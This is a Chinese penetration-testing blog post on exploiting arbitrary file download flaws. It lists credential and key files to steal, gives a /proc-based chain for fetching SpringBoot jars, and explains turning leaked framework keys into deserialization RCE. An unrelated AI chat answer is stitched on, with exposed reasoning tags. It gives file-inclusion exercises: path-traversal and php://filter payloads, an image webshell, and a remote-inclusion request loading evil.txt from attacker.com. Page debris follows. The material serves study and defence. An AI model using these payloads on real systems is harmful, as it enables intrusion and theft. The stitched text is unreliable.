任意文件下载漏洞的利用思考

本文详细探讨了任意文件下载漏洞的常见利用方法,涉及从基础的配置文件和敏感文件下载,到SpringBoot和SpringMVC环境下的源码获取,以及CodeIgniter等框架中的反序列化漏洞构造。提醒读者在渗透测试中注意这些高级利用手段,但强调合法使用。

0x01 前言

任意文件下载漏洞作为最常见的WEB漏洞之一,在平常的渗透测试中经常遇到,但是很多人却并没有深入去想该如何利用这种漏洞,导致忽略了一些细节的信息。

0x02 传统利用

1) 下载配置文件连数据库

通过任意文件下载漏洞下载网站配置文件,利用数据库配置信息远程连接数据库。

php:通过读取当前页面源码反向查找数据库配置文件

aspx:  Web.config

java:WEB-INF/web.xml、WEB-INF/classes/applicationContext.xml 、application.yml、application.properties、conf/tomcat-users.xml

其它配置: php.ini、my.ini、MetaBase.xml、access.log

2) 下载操作系统敏感文件

通过下载操作系统中的文件获取敏感信息,不同操作系统中的敏感文件包括

Windows:  C:\Windows\win.ini  C:\Windows\System32\drivers\etc\hosts   C:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.{%d}.gthr  其中%d替换为1-500的数字,文件中保存大量应用对应的临时文件路径,可以泄露敏感信息,有时有奇效  C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt  其中Administrator可以替换为其它系统用户名,文件中保存Powershell历史执行命令记录
Linux:  /etc/passwd  /etc/shadow  /etc/profile  /etc/hosts  /etc/issue  /etc/ssh/sshd_config  /root/.bash_history    历史命令  /root/.ssh/authorized_keys  ssh公钥  /root/.ssh/id_rsa    ssh私钥  /root/.mysql_history    /proc/net/arp       内网arp表信息  /proc/net/route     内网路由表信息  /proc/net/tcp       主机建立的tcp连接信息,类似于netstat  /proc/[PID]/cmdline    其中pid替换为进程号,返回当进程运行时的命令  /proc/[PID]/environ  其中pid替换为进程号,返回当进程运行时的环境变量信息  /proc/self/loginuid  当前用户  /proc/sched_debug  获取当前进程信息

0x03 进阶利用

1)SpringBoot环境下的任意文件利用

SpringBoot一般来说是通过jar包来启动服务,如图3.1所示,所以通过任意文件下载漏洞最有利用价值的是下载到SpringBoot对应的jar包。

图片

图3.1 SpringBoot启动命令

这里可以组合linux文件下载中的多个文件,构造一条SpringBoot任意文件下载利用链,如下所示。

【Step1】

从图3.1可以看出SpringBoot一般是通过java命令来启动的,所以可以通过java关键字来定位对应的pid进程号。

通过任意文件读取/proc/sched_debug,获取服务器中的进程信息。通过关键字java定位SpringBoot对应的进程,获取进程号pid,如图3.2所示。

图片

图3.2 通过/proc/sched_debug定位pid

【Step2】

通过/proc/[PID]/cmdline和/proc/[PID]/environ获取进程对应的信息,一般情况下通过这种方式可以拿到SpringBoot对应的jar包的绝对路径,如图3.3,图3.4所示。其中cmdline可以获取进程对应的包名,environ可以获取对应的绝对路径,组合之后可以得到jar包对应绝对路径,如图3.5所示。

图片

图3.3 通过cmdline拿到启动命令信息

图片

图3.4 通过environ拿到jar包对应的绝对路径

图片

图3.5 通过组合的路径下载jar包

通过组合/proc/sched_debug和/proc/[PID]/environ可以满足绝大部分场景下对目标进程信息的探索。

2)SpringMVC环境下的任意文件利用

由于java程序并不能像PHP那样通过读当前文件来一步步下载整个程序的源码做代码审计,SpringMVC环境下一般的代码处理逻辑都在controller类中,但是我们仍然可以通过任意文件下载漏洞来下载对应的源码。

【Step1】

通过下载WEB-INF/web.xml文件,查看其中的servlet-class标签,有针对性下载标签对应的类名,如图3.6所示。

图片

图3.6 web.xml中定义的Servlet类

【Step2】

基于拿到的类的全限定类名,下载对应的class文件。如图3.6所示,拿到类的全限定类名是com.js.oa.jsflow.action.WorkFlowPdfServlet,则对应的class文件相对路径为classes/com/js/oa/jsflow/action/WorkFlowPdfServlet.class,如图3.7所示。

图片

图3.7 下载class文件相对于web.xml文件的相对路径

除了web.xml中可以找到类的全限定类名,在任何一个.class文件中,均可以找到这种类似的全限定类名。通过这种方式遍历可以较完整的拿到整个SpringMVC的源码,对于其它tomcat servlet项目也是一样的思路。

需要说明的是,并不是所有的tomcat项目的controller源码都能在WEB-INF/classes/目录下找到,还有部分系统会把逻辑代码写到jar包中并放在WEB-INF/lib/目录下,如图3.8所示,某系统在classes目录下不存在任何class文件,所有的逻辑均在WEB-INF/*.jar包中。如果代码逻辑在jar包中,就需要猜测jar包的完整名称,这种情况下通常不容易通过黑盒方式下载到源代码。

图片

图3.8 在classes目录下没有任何class文件

0x04 深度利用

在上面的方式中,还是偏向于通过任意文件下载下载网站源代码进行源码分析,但是在某些框架中,可以通过源码下载漏洞构造反序列化利用链,达到RCE的效果。

CodeIgniter框架是一个非常流行的php框架,在中小WEB应用中具有较大的使用量。旧版本的CodeIgniter默认情况下CodeIgniter的session保存在Cookie中,并且通过反序列的方式来加载。

我下载的CodeIgniter的源码是以前下载的,可能和最新的代码稍有出入。在system/libraries/Session.php文件中,如图4.1所示。

图片

图4.1 CodeIgniter对session进行处理的逻辑

其中保证Cookie不被篡改的关键是通过hash_hmac方法计算Cookie最后40位的hash值,其中$this->encryption_key是CodeIngniter框架配置文件中的值,保存在application/config/config.php文件中,这个值没有默认值,并且不能为空,如图4.2所示。

图片

图4.2 CodeIgniter对session进行签名校验的key

如果存在任意文件下载漏洞,下载对应的application/config/config.php文件,则可以获取Cookie加密的key,这样就可以把任意文件下载漏洞转化为反序列化漏洞。

在CodeIgniter框架中,如果Cookie中包含了序列化的内容,如图4.3所示,则代表可以通过任意文件读取获取加密key来构造反序列化过程,结合框架本身的反序列化利用链,则可能造成反序列化漏洞。

图片

图4.3 基于CodeIgniter框架的Cookie反序列化

基于框架的Cookie反序列化漏洞在实际中非常普遍,其它还有很多框架也有类似的问题,Yii框架也有类似于CodeIgniter一样的逻辑,在之前一篇关于通达OA的反序列化漏洞的文章https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw中,介绍过关于Yii硬编码key导致的反序列化漏洞。同样如果存在任意文件下载漏洞,则可以读取对应的key构造反序列化利用链。

如果是aspx的目标网站,同样可以通过任意文件下载,获取Web.config中关于ViewState参数的加密密钥,ViewState参数经过解密之后会进行反序列化操作,造成.net的反序列化漏洞,详情可以参考文章

https://paper.seebug.org/1386/。

0x05 总结

在渗透测试的过程中,如果遇到任意文件下载漏洞,多数场景下都可以对任意文件下载漏洞进行深入利用。本文主要结合一些特定的目标场景,总结一些关于任意文件下载漏洞的利用思路,本文仅做学习研究,请勿进行非法的网络攻击活动。

<think>好的,我现在需要帮助用户学习或练习关于文件包含漏洞的题目。首先,我需要理解用户的需求。他们可能对文件包含漏洞的概念、利用方法以及如何防范感兴趣。根据提供的引用内容,用户已经接触了相关的理论知识,现在需要实际的习题和解析来加深理解。 首先,我应该回顾文件包含漏洞的基本知识,确保自己理解正确。文件包含漏洞通常发生在使用PHP的include、require等函数时,未正确过滤用户输入的参数,导致攻击者可以包含恶意文件。分为本地文件包含(LFI)和远程文件包含(RFI)两种类型。引用[4]和[5]详细说明了这些内容,还有相关的函数和漏洞利用方式。 接下来,用户需要习题和解析。我需要设计几个不同难度的题目,涵盖本地和远程文件包含,以及可能的利用方法,比如PHP伪协议。同时,应该考虑如何结合文件上传漏洞,因为引用[4]提到LFI常与文件上传结合使用。此外,防范措施也是重要部分,所以习题可能涉及如何修复这些漏洞。 我需要确保每个习题都有详细的解析,说明漏洞的原因、利用步骤以及防范方法。例如,第一个习题可以是一个简单的LFI,读取系统文件,如/etc/passwd。第二个可能涉及PHP伪协议读取源代码。第三个可以是结合文件上传的案例,上传图片马然后包含执行。第四个可能涉及远程包含,但需要服务器配置允许。第五个则是修复漏洞的方法,比如输入过滤或禁用危险函数。 在解析过程中,需要引用提供的资料来支持答案,比如引用[4]解释LFI和RFI的区别,引用[5]说明各个包含函数的不同行为,引用[3]提到包含功能性代码的例子。同时,提到防范措施时,可以引用[4]中的白名单策略建议。 另外,需要注意用户提到的“生成相关问题”,但用户这次的需求是习题和解析,所以可能需要调整之前的指令,但根据用户最后的提问,他们明确需要习题示例和解析,所以应聚焦于此。 最后,确保使用正确的中文表达,避免术语错误,结构清晰,分点列出习题和解析,并正确标注引用来源。可能还需要提醒用户在实际环境中需获得授权,避免非法测试。</think>### 文件包含漏洞练习题与解析 --- #### **习题1:基础本地文件包含** **场景**:某网站存在以下代码,用户可通过参数`file`指定包含文件: ```php <?php $file = $_GET['file']; include($file . ".php"); ?> ``` **目标**:利用漏洞读取服务器上的`/etc/passwd`文件。 **解析**: 1. **漏洞原理**:未对用户输入的`file`参数过滤,且自动添加`.php`后缀。利用路径遍历绕过后缀限制。 2. **利用方式**:构造参数`file=../../../../etc/passwd%00`(需PHP版本<5.3.4支持`%00`截断)[^4]。 3. **结果**:服务器返回`/etc/passwd`文件内容,泄露系统用户信息。 --- #### **习题2:PHP伪协议利用** **场景**:某页面通过`include($_GET['page']);`动态加载内容。 **目标**:读取当前PHP文件的源代码(如`index.php`)。 **解析**: 1. **漏洞原理**:直接包含用户输入的参数,未限制协议类型。 2. **利用方式**:使用`php://filter`伪协议读取源码: ```http http://example.com/?page=php://filter/read=convert.base64-encode/resource=index.php ``` 解码Base64结果即可获取源码[^4][^5]。 3. **意义**:攻击者可分析源码寻找其他漏洞(如数据库配置)。 --- #### **习题3:文件上传+本地包含组合利用** **场景**:网站允许上传头像(仅允许`.jpg`后缀),且存在本地文件包含漏洞。 **目标**:上传WebShell并执行任意命令。 **解析**: 1. **漏洞原理**:文件上传未校验文件内容,结合包含漏洞执行恶意代码。 2. **步骤**: - 上传图片马:将WebShell代码`<?php system($_GET['cmd']);?>`插入图片的EXIF信息,保存为`shell.jpg`。 - 包含图片马:通过LFI漏洞访问`http://example.com/?file=uploads/shell.jpg%00`(截断后缀)。 - 执行命令:`http://example.com/?cmd=id`查看当前用户权限[^3]。 --- #### **习题4:远程文件包含(RFI)** **场景**:PHP配置`allow_url_include=On`,且存在`include($_GET['lib']);`。 **目标**:远程包含恶意代码执行系统命令。 **解析**: 1. **漏洞原理**:未禁用远程文件包含且配置不当。 2. **利用方式**: - 在攻击者服务器上部署`evil.txt`,内容为`<?php system($_GET['cmd']);?>`。 - 构造请求: ```http http://example.com/?lib=http://attacker.com/evil.txt&cmd=whoami ``` - 服务器加载远程文件并执行命令。 --- #### **习题5:修复文件包含漏洞** **场景**:某开发人员想修复习题1中的漏洞。 **目标**:给出3种修复方案。 **解析**: 1. **白名单过滤**:仅允许包含预定义文件(如`home.php`、`about.php`)。 ```php $allowed = ['home', 'about']; if (in_array($file, $allowed)) { include($file . ".php"); } ``` 2. **禁用危险函数**:在`php.ini`中设置`allow_url_include=Off`和`allow_url_fopen=Off`[^4]。 3. **路径固定**:拼接固定目录,避免用户控制完整路径: ```php include("./templates/" . $file . ".php"); ``` --- ### 总结与扩展练习 1. **靶场推荐**: - `pikachu`靶场练习LFI/RFI(引用[1][4])。 - `upload-labs`结合文件上传漏洞(引用[2])。 2. **深入思考**: - 如何通过日志文件(如`/var/log/apache2/access.log`)实现LFI漏洞利用? - 若禁用所有伪协议,如何绕过文件包含限制? --- #### 引用说明 [^1]: 文件包含漏洞基础与靶场实践。 : 本地与远程文件包含漏洞原理及利用场景。 : PHP文件包含函数行为差异。 [^2]: 文件上传漏洞与包含漏洞的组合利用
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值